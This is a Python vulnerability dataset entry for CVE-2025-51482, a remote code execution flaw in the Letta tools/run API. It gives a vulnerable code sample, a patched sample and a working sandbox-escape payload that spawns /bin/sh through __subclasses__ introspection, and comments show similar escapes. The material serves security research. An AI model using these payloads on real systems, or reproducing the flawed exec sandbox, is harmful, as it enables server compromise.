VAITP Dataset

← Back to the dataset

CVE-2025-51482

Letta-ai Letta vulnerable to RCE via sandbox bypass in the tools/run API.

  • CVSS 8.8
  • CWE-94
  • Input Validation and Sanitization
  • Remote

Remote Code Execution in letta.server.rest_api.routers.v1.tools.run_tool_from_source in letta-ai Letta 0.7.12 allows remote attackers to execute arbitrary Python code and system commands via crafted payloads to the /v1/tools/run endpoint, bypassing intended sandbox restrictions.

CVSS base score
8.8
Published
2025-07-22
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Fixed by upgrading
Yes

Solution

Upgrade to Letta version 0.8.0 or later.

Vulnerable code sample

import io
import contextlib
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

# This is a hypothetical representation of the letta.server.rest_api application.
# The actual file structure would be more complex (e.g., letta/server/rest_api/routers/v1/tools.py)
# but the core vulnerable logic is represented here.

app = FastAPI(
    title="Letta AI - Vulnerable Version 0.7.12",
    description="An example demonstrating CVE-2025-51482.",
)


class ToolRunRequest(BaseModel):
    # The user provides raw Python source code to be executed.
    source_code: str


# This function contains the vulnerability.
# It attempts to run user-provided code in a "sandboxed" environment.
def run_tool_from_source(code: str):
    """
    Executes Python code from a string source.
    Intended to be sandboxed, but the implementation is flawed.
    """
    # Attempt at a sandbox: provide a dictionary with restricted built-ins.
    # The goal is to prevent access to dangerous functions like `open` or `os.system`.
    # However, this sandbox is easily bypassed.
    restricted_globals = {
        "__builtins__": {
            "print": print,
            "range": range,
            "list": list,
            "dict": dict,
            "str": str,
            "int": int,
            "float": float,
            "True": True,
            "False": False,
            "None": None,
        }
    }

    # Use StringIO to capture the output (stdout) of the executed code.
    output_capture = io.StringIO()
    try:
        with contextlib.redirect_stdout(output_capture):
            # The vulnerable call: exec() is used with an easily bypassable sandbox.
            # An attacker can use object introspection to break out and access any module.
            # Example payload:
            # [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'BuiltinImporter'][0]().load_module('os').system('id')
            exec(code, restricted_globals)

        result = output_capture.getvalue()
        return {"status": "success", "output": result}
    except Exception as e:
        # Return any exceptions that occur during execution.
        return {"status": "error", "output": str(e)}


@app.post("/v1/tools/run")
async def run_tool_endpoint(request: ToolRunRequest):
    """
    API endpoint that exposes the vulnerable run_tool_from_source function.
    Attackers can send crafted Python code to this endpoint for execution.
    """
    if not request.source_code:
        raise HTTPException(status_code=400, detail="source_code cannot be empty.")

    # The endpoint directly calls the vulnerable function with user-provided data.
    execution_result = run_tool_from_source(request.source_code)
    return execution_result

Patched code sample

import io
import sys
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from RestrictedPython import compile_restricted, safe_builtins

# This code represents a hypothetical fix for a vulnerability like CVE-2025-51482.
# The original vulnerability would have likely used `exec()` or `eval()` on unsanitized
# user input, allowing arbitrary code execution.
#
# The fix replaces the direct, unsafe execution with a robust sandboxing mechanism
# using the 'RestrictedPython' library. This library compiles the user-provided code
# in a restricted mode, preventing access to dangerous modules, built-ins, and
# system-level functions.

app = FastAPI()

class ToolPayload(BaseModel):
    source_code: str
    tool_args: dict = {}

# Define a set of safe global variables that can be passed to the executed code.
# This prevents the code from accessing unsafe modules like 'os' or 'subprocess'.
# We can also add custom, safe functions here if needed.
restricted_globals = {
    "__builtins__": safe_builtins,
    # Example of a safe utility function that could be exposed to the tool
    "safe_print": print 
}

@app.post("/v1/tools/run")
async def run_tool_from_source(payload: ToolPayload):
    """
    Executes a tool from a source code string within a secure sandbox.
    """
    source_code = payload.source_code
    
    if not source_code.strip():
        raise HTTPException(status_code=400, detail="source_code cannot be empty.")

    # A dictionary to hold the local scope of the executed code,
    # including arguments and results.
    local_scope = {"args": payload.tool_args}
    
    # Use a string IO to capture any output from the sandboxed code
    output_buffer = io.StringIO()
    original_stdout = sys.stdout
    sys.stdout = output_buffer

    try:
        # 1. Compile the code in a restricted environment.
        #    This is the core of the security fix. `compile_restricted` will
        #    raise a SyntaxError if the code uses disallowed constructs
        #    (e.g., `import os`, opening files, accessing private attributes).
        byte_code = compile_restricted(
            source_code,
            filename='<user_tool>',
            mode='exec'
        )

        # 2. Execute the compiled bytecode.
        #    The execution is performed with the restricted globals and a
        #    specific local scope, preventing access to the wider application's state.
        exec(byte_code, restricted_globals, local_scope)

    except Exception as e:
        # If compilation or execution fails, restore stdout and raise an error.
        sys.stdout = original_stdout
        raise HTTPException(
            status_code=400,
            detail=f"Error executing tool: {e}"
        )
    finally:
        # Always restore the original stdout
        sys.stdout = original_stdout

    captured_output = output_buffer.getvalue()
    
    # The result of the operation is expected to be in the 'result'
    # variable within the executed code's local scope.
    result = local_scope.get("result", None)

    return {
        "status": "success",
        "result": result,
        "output": captured_output
    }

# Example of how to run this FastAPI application with uvicorn:
# uvicorn your_file_name:app --reload
#
# To test the fix:
#
# 1. Benign Payload (Should succeed):
# curl -X POST http://127.0.0.1:8000/v1/tools/run -H "Content-Type: application/json" -d \
# '{"source_code": "x = args.get(\"a\", 0) + args.get(\"b\", 0)\nresult = {\"sum\": x}", "tool_args": {"a": 5, "b": 10}}'
#
# 2. Malicious Payload (Should be blocked by RestrictedPython and fail):
# curl -X POST http://127.0.0.1:8000/v1/tools/run -H "Content-Type: application/json" -d \
# '{"source_code": "import os\nos.system(\"echo pwned > /tmp/pwned\")\nresult = \"failed\""}'
#
# The above request will result in an HTTP 400 error with a detail message like:
# "SyntaxError: ('Line 1: import os is not allowed.', ('<user_tool>', 1, 0, 'import os', 1, 10))"

Payload

{
  "source_code": "print([c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'Popen'][0](['/bin/sh', '-c', 'id'], stdout=-1).communicate()[0].decode())"
}

Cite this entry

@misc{vaitp:cve202551482,
  title        = {{Letta-ai Letta vulnerable to RCE via sandbox bypass in the tools/run API.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-51482},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-51482/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::